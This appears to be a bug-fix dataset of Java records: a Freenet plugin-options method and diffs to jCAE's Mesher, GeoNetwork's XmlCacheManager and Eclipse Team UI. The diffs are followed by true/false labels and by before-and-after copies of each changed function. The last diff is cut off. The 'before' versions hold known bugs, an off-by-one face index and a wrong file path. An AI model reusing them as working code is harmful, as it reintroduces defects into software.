public void addRelatedOptions(boolean causedByFilter) { PluginInfoWrapper p; FetchException error = result.failed; final WebRequest request = (WebRequest) getRequest(); final String mime = error.getExpectedMimeType(); PluginManager pm = getFreenetNode().pluginManager; Map<String, String> options = new HashMap<String, String>(); // Dig in plugins // TODO make this more dynamic. Plugins should add themselves hier if ((error.mode == FetchException.NOT_IN_ARCHIVE || error.mode == FetchException.NOT_ENOUGH_PATH_COMPONENTS)) { // first look for the newest version if ((p = pm.getPluginInfo(PLUGIN_KEYUTILS)) != null) { logger.trace("Key Utils found: Adding option"); if (p.getPluginLongVersion() < 5010) { options.put("/KeyUtils/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/KeyUtils/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); options.put("/KeyUtils/Site?key=" + path, localize(OPEN_WITH_SITEEXPLORER)); } } else if ((p = pm.getPluginInfo(PLUGIN_KEYEXPLORER)) != null) { logger.trace("Key Explorer found: Adding option"); if (p.getPluginLongVersion() > 4999) { options.put("/KeyExplorer/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/plugins/plugins.KeyExplorer.KeyExplorer/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } } } RequestsUtil ru = new RequestsUtil(); FreenetLink textLink; WebMarkupContainer optionsContainer = new WebMarkupContainer("optionsContainer"); if (causedByFilter) { logger.trace("Error caused by filter expection. Adding options"); if (mime.equals("application/x-freenet-index") && pm.getPluginInfo(PLUGIN_THAWBROWSER) != null) { logger.trace("Thaw browser found: Adding option"); options.put("/plugins/plugins.ThawIndexBrowser.ThawIndexBrowser/?key=" + path, localize(PLUGIN_THAWBROWSER)); } // Option to open as text textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(OPEN_AS_TEXT)); // Force download textLink = ru.createLink(path, mime, request); textLink.forceDownload = true; options.put(textLink.toString(), localize(DOWNLOAD_TO_DISK)); // Force open as expected mime if (!(mime.equals("application/octet-stream") || mime.equals("application/x-msdownload"))) { Map<String, String> substitution = new HashMap<String, String>(); substitution.put("mime", HTMLEncoder.encode(mime)); textLink = ru.createLink(path, mime, request); textLink.force = ru.getForceValue(path, System.currentTimeMillis()); options.put(textLink.toString(), localize(OPEN_FORCE, Model.ofMap(substitution))); } } // Retry link if ((!error.isFatal() || causedByFilter) && (!getConfiguration().isPublicGateway() || isAllowedFullAccess())) { logger.trace("Adding retry option"); textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(RETRY_NOW)); } RepeatingView pluginsOptions = new RepeatingView("pluginsOptions"); logger.trace(String.format("Adding a total sum of %d options", options.size())); for (Entry<String, String> item : options.entrySet()) { WebMarkupContainer liContainer = new WebMarkupContainer(pluginsOptions.newChildId()); ExternalLink link = new ExternalLink("pluginOption", item.getKey()); link.setBody(Model.of(item.getValue())); liContainer.add(link); pluginsOptions.add(liContainer); } optionsContainer.add(pluginsOptions); optionsContainer.setVisible(!options.isEmpty()); add(optionsContainer); }
diff --git a/amibe/src/org/jcae/mesh/Mesher.java b/amibe/src/org/jcae/mesh/Mesher.java index 6a2a5827..8f453063 100644 --- a/amibe/src/org/jcae/mesh/Mesher.java +++ b/amibe/src/org/jcae/mesh/Mesher.java @@ -1,258 +1,259 @@ /* jCAE stand for Java Computer Aided Engineering. Features are : Small CAD modeler, Finit element mesher, Plugin architecture. Copyright (C) 2003 Jerome Robert <[email protected]> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package org.jcae.mesh; import java.io.File; import java.net.URI; import org.apache.log4j.Logger; import org.jcae.mesh.mesher.ds.*; import org.jcae.mesh.amibe.InitialTriangulationException; import org.jcae.mesh.amibe.InvalidFaceException; import org.jcae.mesh.amibe.metrics.*; import org.jcae.mesh.amibe.ds.Mesh; import org.jcae.mesh.mesher.algos1d.*; import org.jcae.mesh.amibe.algos2d.*; import org.jcae.mesh.mesher.algos3d.Fuse; import org.jcae.mesh.xmldata.*; import org.jcae.mesh.cad.*; import gnu.trove.TIntArrayList; /** * This class Mesher allows to load a file, construct the mesh structure and read mesh hypothesis. * Then starts meshing operation. * This class allows to set all explicit constraints desired by the user, and to set all implicit constraints linked to * mesher requirement. * The main idea of mesh generation is to sub-structure the mesh linked to the geometric shape into several sub-meshes * according to specifications and geometry decomposition (see mesh.MeshMesh.initMesh()). */ public class Mesher { private static Logger logger=Logger.getLogger(Mesher.class); /** * Reads the file, the algorithm type and the constraint value for meshing * @param brepfilename the filename of the brep file * @param discr the value of the meshing constraint */ private static void mesh(String brepfilename, String xmlDir, double discr, double defl, double tolerance) { // Declare all variables here // xmlDir: absolute path name where XML files are stored // xmlFile: basename of the main XML file // xmlBrepDir: path to brep file, relative to xmlDir // brepFile: basename of the brep file String brepFile = (new File(brepfilename)).getName(); String xmlFile = "jcae1d"; MMesh1D mesh1D; TIntArrayList badTriangles = new TIntArrayList(); URI brepURI=new File(brepfilename).getAbsoluteFile().getParentFile().toURI(); URI brepDirURI=new File(xmlDir, "dummy").toURI().relativize(brepURI); String xmlBrepDir = new File(brepDirURI).getPath(); logger.info("Loading " + brepfilename); CADShapeBuilder factory = CADShapeBuilder.factory; CADShape shape = factory.newShape(brepfilename); CADExplorer expF = factory.newExplorer(); if (System.getProperty("org.jcae.mesh.Mesher.mesh1d", "true").equals("true")) { // Step 1: Compute 1D mesh logger.info("1D mesh"); mesh1D = new MMesh1D(shape); mesh1D.setMaxLength(discr); if (defl <= 0.0) new UniformLength(mesh1D).compute(); else { mesh1D.setMaxDeflection(defl); new UniformLengthDeflection(mesh1D).compute(); } // Store the 1D mesh onto disk MMesh1DWriter.writeObject(mesh1D, xmlDir, xmlFile, xmlBrepDir, brepFile); } if (System.getProperty("org.jcae.mesh.Mesher.mesh2d", "true").equals("true")) { // Step 2: Read the 1D mesh and compute 2D meshes mesh1D = MMesh1DReader.readObject(xmlDir, xmlFile); shape = mesh1D.getGeometry(); mesh1D.setMaxLength(discr); Metric3D.setLength(discr); Metric3D.setDeflection(defl); // Prepare 2D discretization mesh1D.duplicateEdges(); // Compute node labels shared by all 2D and 3D meshes mesh1D.updateNodeLabels(); int iFace = 0; int nTryMax = 20; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); int nrFaces = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) nrFaces++; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; logger.info("Meshing face " + iFace+"/"+nrFaces); // This variable can be modified, thus reset it Metric2D.setLength(discr); // F.writeNative("face."+iFace+".brep"); Mesh mesh = new Mesh(F); int nTry = 0; while (nTry < nTryMax) { try { new BasicMesh(mesh, mesh1D).compute(); new CheckDelaunay(mesh).compute(); + // new CheckAbsDeflection(mesh).compute(); mesh.removeDegeneratedEdges(); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } catch(Exception ex) { if (ex instanceof InitialTriangulationException) { logger.warn("Face "+iFace+" cannot be triangulated, trying again with a larger tolerance..."); mesh = new Mesh(F); mesh.scaleTolerance(10.); nTry++; continue; } else if (ex instanceof InvalidFaceException) { logger.warn("Face "+iFace+" is invalid, skipping..."); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); - badTriangles.add(iFace+1); + badTriangles.add(iFace); break; } - badTriangles.add(iFace+1); + badTriangles.add(iFace); logger.warn(ex.getMessage()); ex.printStackTrace(); } break; } if (nTry == nTryMax) { logger.error("Face "+iFace+" cannot be triangulated, skipping..."); - badTriangles.add(iFace+1); + badTriangles.add(iFace); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } } } if (System.getProperty("org.jcae.mesh.Mesher.mesh3d", "true").equals("true")) { // Step 3: Read 2D meshes and compute 3D mesh try { int iFace = 0; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); MeshToMMesh3DConvert m2dTo3D = new MeshToMMesh3DConvert(xmlDir); logger.info("Read informations on boundary nodes"); for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; m2dTo3D.computeRefs(xmlFile); } m2dTo3D.initialize("jcae3d", System.getProperty("org.jcae.mesh.Mesher.writeNormals", "false").equals("true")); iFace = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; logger.info("Importing face "+iFace); m2dTo3D.convert(xmlFile, iFace, F); } m2dTo3D.finish(); } catch(Exception ex) { logger.warn(ex.getMessage()); ex.printStackTrace(); } /* if (tolerance >= 0.0) new Fuse(mesh3D, tolerance).compute(); xmlFile = "jcae3d"; MMesh3DWriter.writeObject(mesh3D, xmlDir, xmlFile, xmlBrepDir); */ } if (badTriangles.size() > 0) { logger.info("Number of faces which cannot be meshed: "+badTriangles.size()); logger.info(""+badTriangles); } } /** * main method, reads 2 arguments and calls mesh() method * @param args an array of String, filename, algorithm type and constraint value * @see #mesh */ public static void main(String args[]) { if (args.length < 2 || args.length > 4) { System.out.println("Usage : Mesher filename output_directory edge_length deflection"); System.exit(0); } String filename=args[0]; String unvName=filename.substring(0, filename.lastIndexOf('.'))+".unv"; if (filename.endsWith(".step") || filename.endsWith(".stp") || filename.endsWith(".igs")) { CADShape shape = CADShapeBuilder.factory.newShape(filename); filename = filename.substring(0, filename.lastIndexOf('.')) + ".tmp.brep"; shape.writeNative(filename); } String xmlDir = args[1]; Double discr=new Double(args[2]); Double defl=new Double(args[3]); Double tolerance=new Double(System.getProperty("org.jcae.mesh.tolerance", "-1.0")); mesh(filename, xmlDir, discr.doubleValue(), defl.doubleValue(), tolerance.doubleValue()); logger.info("Exporting UNV"); if(Boolean.getBoolean("org.jcae.mesh.unv.nogz")) new UNVConverter(xmlDir).writeUNV(unvName); else new UNVConverter(xmlDir).writeUNV(unvName+".gz"); logger.info("Exporting MESH"); String MESHName=filename.substring(0, filename.lastIndexOf('.'))+".mesh"; new UNVConverter(xmlDir).writeMESH(MESHName); logger.info("End mesh"); } }
false
true
private static void mesh(String brepfilename, String xmlDir, double discr, double defl, double tolerance) { // Declare all variables here // xmlDir: absolute path name where XML files are stored // xmlFile: basename of the main XML file // xmlBrepDir: path to brep file, relative to xmlDir // brepFile: basename of the brep file String brepFile = (new File(brepfilename)).getName(); String xmlFile = "jcae1d"; MMesh1D mesh1D; TIntArrayList badTriangles = new TIntArrayList(); URI brepURI=new File(brepfilename).getAbsoluteFile().getParentFile().toURI(); URI brepDirURI=new File(xmlDir, "dummy").toURI().relativize(brepURI); String xmlBrepDir = new File(brepDirURI).getPath(); logger.info("Loading " + brepfilename); CADShapeBuilder factory = CADShapeBuilder.factory; CADShape shape = factory.newShape(brepfilename); CADExplorer expF = factory.newExplorer(); if (System.getProperty("org.jcae.mesh.Mesher.mesh1d", "true").equals("true")) { // Step 1: Compute 1D mesh logger.info("1D mesh"); mesh1D = new MMesh1D(shape); mesh1D.setMaxLength(discr); if (defl <= 0.0) new UniformLength(mesh1D).compute(); else { mesh1D.setMaxDeflection(defl); new UniformLengthDeflection(mesh1D).compute(); } // Store the 1D mesh onto disk MMesh1DWriter.writeObject(mesh1D, xmlDir, xmlFile, xmlBrepDir, brepFile); } if (System.getProperty("org.jcae.mesh.Mesher.mesh2d", "true").equals("true")) { // Step 2: Read the 1D mesh and compute 2D meshes mesh1D = MMesh1DReader.readObject(xmlDir, xmlFile); shape = mesh1D.getGeometry(); mesh1D.setMaxLength(discr); Metric3D.setLength(discr); Metric3D.setDeflection(defl); // Prepare 2D discretization mesh1D.duplicateEdges(); // Compute node labels shared by all 2D and 3D meshes mesh1D.updateNodeLabels(); int iFace = 0; int nTryMax = 20; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); int nrFaces = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) nrFaces++; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; logger.info("Meshing face " + iFace+"/"+nrFaces); // This variable can be modified, thus reset it Metric2D.setLength(discr); // F.writeNative("face."+iFace+".brep"); Mesh mesh = new Mesh(F); int nTry = 0; while (nTry < nTryMax) { try { new BasicMesh(mesh, mesh1D).compute(); new CheckDelaunay(mesh).compute(); mesh.removeDegeneratedEdges(); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } catch(Exception ex) { if (ex instanceof InitialTriangulationException) { logger.warn("Face "+iFace+" cannot be triangulated, trying again with a larger tolerance..."); mesh = new Mesh(F); mesh.scaleTolerance(10.); nTry++; continue; } else if (ex instanceof InvalidFaceException) { logger.warn("Face "+iFace+" is invalid, skipping..."); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); badTriangles.add(iFace+1); break; } badTriangles.add(iFace+1); logger.warn(ex.getMessage()); ex.printStackTrace(); } break; } if (nTry == nTryMax) { logger.error("Face "+iFace+" cannot be triangulated, skipping..."); badTriangles.add(iFace+1); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } } } if (System.getProperty("org.jcae.mesh.Mesher.mesh3d", "true").equals("true")) { // Step 3: Read 2D meshes and compute 3D mesh try { int iFace = 0; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); MeshToMMesh3DConvert m2dTo3D = new MeshToMMesh3DConvert(xmlDir); logger.info("Read informations on boundary nodes"); for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; m2dTo3D.computeRefs(xmlFile); } m2dTo3D.initialize("jcae3d", System.getProperty("org.jcae.mesh.Mesher.writeNormals", "false").equals("true")); iFace = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; logger.info("Importing face "+iFace); m2dTo3D.convert(xmlFile, iFace, F); } m2dTo3D.finish(); } catch(Exception ex) { logger.warn(ex.getMessage()); ex.printStackTrace(); } /* if (tolerance >= 0.0) new Fuse(mesh3D, tolerance).compute(); xmlFile = "jcae3d"; MMesh3DWriter.writeObject(mesh3D, xmlDir, xmlFile, xmlBrepDir); */ } if (badTriangles.size() > 0) { logger.info("Number of faces which cannot be meshed: "+badTriangles.size()); logger.info(""+badTriangles); } }
private static void mesh(String brepfilename, String xmlDir, double discr, double defl, double tolerance) { // Declare all variables here // xmlDir: absolute path name where XML files are stored // xmlFile: basename of the main XML file // xmlBrepDir: path to brep file, relative to xmlDir // brepFile: basename of the brep file String brepFile = (new File(brepfilename)).getName(); String xmlFile = "jcae1d"; MMesh1D mesh1D; TIntArrayList badTriangles = new TIntArrayList(); URI brepURI=new File(brepfilename).getAbsoluteFile().getParentFile().toURI(); URI brepDirURI=new File(xmlDir, "dummy").toURI().relativize(brepURI); String xmlBrepDir = new File(brepDirURI).getPath(); logger.info("Loading " + brepfilename); CADShapeBuilder factory = CADShapeBuilder.factory; CADShape shape = factory.newShape(brepfilename); CADExplorer expF = factory.newExplorer(); if (System.getProperty("org.jcae.mesh.Mesher.mesh1d", "true").equals("true")) { // Step 1: Compute 1D mesh logger.info("1D mesh"); mesh1D = new MMesh1D(shape); mesh1D.setMaxLength(discr); if (defl <= 0.0) new UniformLength(mesh1D).compute(); else { mesh1D.setMaxDeflection(defl); new UniformLengthDeflection(mesh1D).compute(); } // Store the 1D mesh onto disk MMesh1DWriter.writeObject(mesh1D, xmlDir, xmlFile, xmlBrepDir, brepFile); } if (System.getProperty("org.jcae.mesh.Mesher.mesh2d", "true").equals("true")) { // Step 2: Read the 1D mesh and compute 2D meshes mesh1D = MMesh1DReader.readObject(xmlDir, xmlFile); shape = mesh1D.getGeometry(); mesh1D.setMaxLength(discr); Metric3D.setLength(discr); Metric3D.setDeflection(defl); // Prepare 2D discretization mesh1D.duplicateEdges(); // Compute node labels shared by all 2D and 3D meshes mesh1D.updateNodeLabels(); int iFace = 0; int nTryMax = 20; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); int nrFaces = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) nrFaces++; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; logger.info("Meshing face " + iFace+"/"+nrFaces); // This variable can be modified, thus reset it Metric2D.setLength(discr); // F.writeNative("face."+iFace+".brep"); Mesh mesh = new Mesh(F); int nTry = 0; while (nTry < nTryMax) { try { new BasicMesh(mesh, mesh1D).compute(); new CheckDelaunay(mesh).compute(); // new CheckAbsDeflection(mesh).compute(); mesh.removeDegeneratedEdges(); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } catch(Exception ex) { if (ex instanceof InitialTriangulationException) { logger.warn("Face "+iFace+" cannot be triangulated, trying again with a larger tolerance..."); mesh = new Mesh(F); mesh.scaleTolerance(10.); nTry++; continue; } else if (ex instanceof InvalidFaceException) { logger.warn("Face "+iFace+" is invalid, skipping..."); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); badTriangles.add(iFace); break; } badTriangles.add(iFace); logger.warn(ex.getMessage()); ex.printStackTrace(); } break; } if (nTry == nTryMax) { logger.error("Face "+iFace+" cannot be triangulated, skipping..."); badTriangles.add(iFace); mesh = new Mesh(F); xmlFile = "jcae2d."+iFace; MeshWriter.writeObject(mesh, xmlDir, xmlFile, xmlBrepDir, brepFile, iFace); } } } if (System.getProperty("org.jcae.mesh.Mesher.mesh3d", "true").equals("true")) { // Step 3: Read 2D meshes and compute 3D mesh try { int iFace = 0; int numFace = Integer.parseInt(System.getProperty("org.jcae.mesh.Mesher.meshFace", "0")); MeshToMMesh3DConvert m2dTo3D = new MeshToMMesh3DConvert(xmlDir); logger.info("Read informations on boundary nodes"); for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; m2dTo3D.computeRefs(xmlFile); } m2dTo3D.initialize("jcae3d", System.getProperty("org.jcae.mesh.Mesher.writeNormals", "false").equals("true")); iFace = 0; for (expF.init(shape, CADExplorer.FACE); expF.more(); expF.next()) { CADFace F = (CADFace) expF.current(); iFace++; if (numFace != 0 && iFace != numFace) continue; xmlFile = "jcae2d."+iFace; logger.info("Importing face "+iFace); m2dTo3D.convert(xmlFile, iFace, F); } m2dTo3D.finish(); } catch(Exception ex) { logger.warn(ex.getMessage()); ex.printStackTrace(); } /* if (tolerance >= 0.0) new Fuse(mesh3D, tolerance).compute(); xmlFile = "jcae3d"; MMesh3DWriter.writeObject(mesh3D, xmlDir, xmlFile, xmlBrepDir); */ } if (badTriangles.size() > 0) { logger.info("Number of faces which cannot be meshed: "+badTriangles.size()); logger.info(""+badTriangles); } }
diff --git a/jeeves/src/main/java/jeeves/server/dispatchers/guiservices/XmlCacheManager.java b/jeeves/src/main/java/jeeves/server/dispatchers/guiservices/XmlCacheManager.java index c3765147e4..50fc1b06a1 100644 --- a/jeeves/src/main/java/jeeves/server/dispatchers/guiservices/XmlCacheManager.java +++ b/jeeves/src/main/java/jeeves/server/dispatchers/guiservices/XmlCacheManager.java @@ -1,74 +1,74 @@ package jeeves.server.dispatchers.guiservices; import java.io.File; import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.WeakHashMap; import javax.servlet.ServletContext; import jeeves.server.context.ServiceContext; import jeeves.utils.Log; import jeeves.utils.XmlFileCacher; import org.jdom.Element; import org.jdom.JDOMException; public class XmlCacheManager { WeakHashMap<String, Map<String, XmlFileCacher>> xmlCaches = new WeakHashMap<String, Map<String, XmlFileCacher>>(); private Map<String, XmlFileCacher> getCacheMap(boolean localized, String base, String file) { String key = localized+":"+base+":"+file; Map<String, XmlFileCacher> cacheMap = xmlCaches.get(key); if(cacheMap == null) { cacheMap = new HashMap<String, XmlFileCacher>(10); xmlCaches.put(key, cacheMap); } return cacheMap; } public synchronized Element get(ServiceContext context, boolean localized, String base, String file, String preferedLanguage, String defaultLang) throws JDOMException, IOException { Map<String, XmlFileCacher> cacheMap = getCacheMap(localized, base, file); String appPath = context.getAppPath(); String xmlFilePath; boolean isBaseAbsolutePath = (new File(base)).isAbsolute(); String rootPath = (isBaseAbsolutePath) ? base : appPath + base; if (localized) xmlFilePath = rootPath + File.separator + preferedLanguage +File.separator + file; - else xmlFilePath = appPath + file; + else xmlFilePath = rootPath+ File.separator + file; ServletContext servletContext = null; if(context.getServlet() != null) { servletContext = context.getServlet().getServletContext(); } XmlFileCacher xmlCache = cacheMap.get(preferedLanguage); File xmlFile = new File(xmlFilePath); if (xmlCache == null){ xmlCache = new XmlFileCacher(xmlFile,servletContext,appPath); cacheMap.put(preferedLanguage, xmlCache); } Element result; try { result = (Element)xmlCache.get().clone(); } catch (Exception e) { Log.error(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language"); Log.debug(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language", e); String xmlDefaultLangFilePath = rootPath + File.separator + defaultLang + File.separator + file; xmlCache = new XmlFileCacher(new File(xmlDefaultLangFilePath),servletContext, appPath); cacheMap.put(preferedLanguage, xmlCache); result = (Element)xmlCache.get().clone(); } String name = xmlFile.getName(); int lastIndexOfDot = name.lastIndexOf('.'); if (lastIndexOfDot > 0) { name = name.substring(0,lastIndexOfDot); } return result.setName(name); } }
true
true
public synchronized Element get(ServiceContext context, boolean localized, String base, String file, String preferedLanguage, String defaultLang) throws JDOMException, IOException { Map<String, XmlFileCacher> cacheMap = getCacheMap(localized, base, file); String appPath = context.getAppPath(); String xmlFilePath; boolean isBaseAbsolutePath = (new File(base)).isAbsolute(); String rootPath = (isBaseAbsolutePath) ? base : appPath + base; if (localized) xmlFilePath = rootPath + File.separator + preferedLanguage +File.separator + file; else xmlFilePath = appPath + file; ServletContext servletContext = null; if(context.getServlet() != null) { servletContext = context.getServlet().getServletContext(); } XmlFileCacher xmlCache = cacheMap.get(preferedLanguage); File xmlFile = new File(xmlFilePath); if (xmlCache == null){ xmlCache = new XmlFileCacher(xmlFile,servletContext,appPath); cacheMap.put(preferedLanguage, xmlCache); } Element result; try { result = (Element)xmlCache.get().clone(); } catch (Exception e) { Log.error(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language"); Log.debug(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language", e); String xmlDefaultLangFilePath = rootPath + File.separator + defaultLang + File.separator + file; xmlCache = new XmlFileCacher(new File(xmlDefaultLangFilePath),servletContext, appPath); cacheMap.put(preferedLanguage, xmlCache); result = (Element)xmlCache.get().clone(); } String name = xmlFile.getName(); int lastIndexOfDot = name.lastIndexOf('.'); if (lastIndexOfDot > 0) { name = name.substring(0,lastIndexOfDot); } return result.setName(name); }
public synchronized Element get(ServiceContext context, boolean localized, String base, String file, String preferedLanguage, String defaultLang) throws JDOMException, IOException { Map<String, XmlFileCacher> cacheMap = getCacheMap(localized, base, file); String appPath = context.getAppPath(); String xmlFilePath; boolean isBaseAbsolutePath = (new File(base)).isAbsolute(); String rootPath = (isBaseAbsolutePath) ? base : appPath + base; if (localized) xmlFilePath = rootPath + File.separator + preferedLanguage +File.separator + file; else xmlFilePath = rootPath+ File.separator + file; ServletContext servletContext = null; if(context.getServlet() != null) { servletContext = context.getServlet().getServletContext(); } XmlFileCacher xmlCache = cacheMap.get(preferedLanguage); File xmlFile = new File(xmlFilePath); if (xmlCache == null){ xmlCache = new XmlFileCacher(xmlFile,servletContext,appPath); cacheMap.put(preferedLanguage, xmlCache); } Element result; try { result = (Element)xmlCache.get().clone(); } catch (Exception e) { Log.error(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language"); Log.debug(Log.RESOURCES, "Error cloning the cached data. Attempted to get: "+xmlFilePath+"but failed so falling back to default language", e); String xmlDefaultLangFilePath = rootPath + File.separator + defaultLang + File.separator + file; xmlCache = new XmlFileCacher(new File(xmlDefaultLangFilePath),servletContext, appPath); cacheMap.put(preferedLanguage, xmlCache); result = (Element)xmlCache.get().clone(); } String name = xmlFile.getName(); int lastIndexOfDot = name.lastIndexOf('.'); if (lastIndexOfDot > 0) { name = name.substring(0,lastIndexOfDot); } return result.setName(name); }
diff --git a/bundles/org.eclipse.team.ui/src/org/eclipse/team/internal/ui/synchronize/ConfigureSynchronizeScheduleComposite.java b/bundles/org.eclipse.team.ui/src/org/eclipse/team/internal/ui/synchronize/ConfigureSynchronizeScheduleComposite.java index 7b8c3a152..09c7f9d58 100644 --- a/bundles/org.eclipse.team.ui/src/org/eclipse/team/internal/ui/synchronize/ConfigureSynchronizeScheduleComposite.java +++ b/bundles/org.eclipse.team.ui/src/org/eclipse/team/internal/ui/synchronize/ConfigureSynchronizeScheduleComposite.java @@ -1,212 +1,210 @@ /******************************************************************************* * Copyright (c) 2000, 2004 IBM Corporation and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * IBM Corporation - initial API and implementation *******************************************************************************/ package org.eclipse.team.internal.ui.synchronize; import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.swt.SWT; import org.eclipse.swt.events.*; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.*; import org.eclipse.team.internal.ui.Policy; import org.eclipse.team.internal.ui.Utils; import org.eclipse.team.ui.synchronize.SubscriberParticipant; /** * A composite that allows editing a subscriber refresh schedule. A validator can be used to allow * containers to show page completiong. * * @since 3.0 */ public class ConfigureSynchronizeScheduleComposite extends Composite { private SubscriberRefreshSchedule schedule; private Button userRefreshOnly; private Button enableBackgroundRefresh; private Text time; private Combo hoursOrSeconds; private String errorMessage; private IPageValidator validator; public ConfigureSynchronizeScheduleComposite(Composite parent, SubscriberRefreshSchedule schedule, IPageValidator validator) { super(parent, SWT.NONE); this.schedule = schedule; this.validator = validator; createMainDialogArea(parent); } private void initializeValues() { boolean enableBackground = schedule.isEnabled(); boolean hours = false; userRefreshOnly.setSelection(! enableBackground); enableBackgroundRefresh.setSelection(enableBackground); long seconds = schedule.getRefreshInterval(); if(seconds <= 60) { seconds = 60; } long minutes = seconds / 60; if(minutes >= 60) { minutes = minutes / 60; hours = true; } hoursOrSeconds.select(hours ? 0 : 1); time.setText(Long.toString(minutes)); } /* (non-Javadoc) * @see org.eclipse.jface.dialogs.Dialog#createDialogArea(org.eclipse.swt.widgets.Composite) */ protected void createMainDialogArea(Composite parent) { final GridLayout gridLayout = new GridLayout(); gridLayout.numColumns = 2; setLayout(gridLayout); setLayoutData(new GridData()); Composite area = this; createWrappingLabel(area, Policy.bind("ConfigureRefreshScheduleDialog.1", schedule.getParticipant().getName()), 0, 2); //$NON-NLS-1$ { final Label label = new Label(area, SWT.WRAP); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL); gridData.horizontalSpan = 2; label.setLayoutData(gridData); label.setText(Policy.bind("ConfigureRefreshScheduleDialog.1a", SubscriberRefreshSchedule.refreshEventAsString(schedule.getLastRefreshEvent()))); //$NON-NLS-1$ } { userRefreshOnly = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; userRefreshOnly.setLayoutData(gridData); userRefreshOnly.setText(Policy.bind("ConfigureRefreshScheduleDialog.2")); //$NON-NLS-1$ userRefreshOnly.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { enableBackgroundRefresh = new Button(area, SWT.RADIO); final GridData gridData = new GridData(); gridData.horizontalSpan = 2; enableBackgroundRefresh.setLayoutData(gridData); enableBackgroundRefresh.setText(Policy.bind("ConfigureRefreshScheduleDialog.3")); //$NON-NLS-1$ enableBackgroundRefresh.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { updateEnablements(); } public void widgetDefaultSelected(SelectionEvent e) { } }); } { final Composite composite = new Composite(area, SWT.NONE); final GridData gridData = new GridData(GridData.FILL_HORIZONTAL 